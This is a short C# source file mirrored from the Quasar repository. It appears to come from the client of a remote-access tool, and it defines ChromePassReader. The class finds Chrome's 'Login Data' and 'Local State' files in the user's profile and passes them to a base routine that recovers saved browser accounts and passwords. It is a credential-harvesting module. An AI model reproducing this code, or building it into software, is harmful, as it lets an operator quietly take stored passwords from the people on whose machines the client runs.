mirror of https://github.com/quasar/Quasar.git
31 lines
1010 B
C#
31 lines
1010 B
C#
using Quasar.Common.Models;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
|
|
namespace Quasar.Client.Recovery.Browsers
|
|
{
|
|
public class ChromePassReader : ChromiumBase
|
|
{
|
|
/// <inheritdoc />
|
|
public override string ApplicationName => "Chrome";
|
|
|
|
/// <inheritdoc />
|
|
public override IEnumerable<RecoveredAccount> ReadAccounts()
|
|
{
|
|
try
|
|
{
|
|
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
"Google\\Chrome\\User Data\\Default\\Login Data");
|
|
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
"Google\\Chrome\\User Data\\Local State");
|
|
return ReadAccounts(filePath, localStatePath);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
return new List<RecoveredAccount>();
|
|
}
|
|
}
|
|
}
|
|
}
|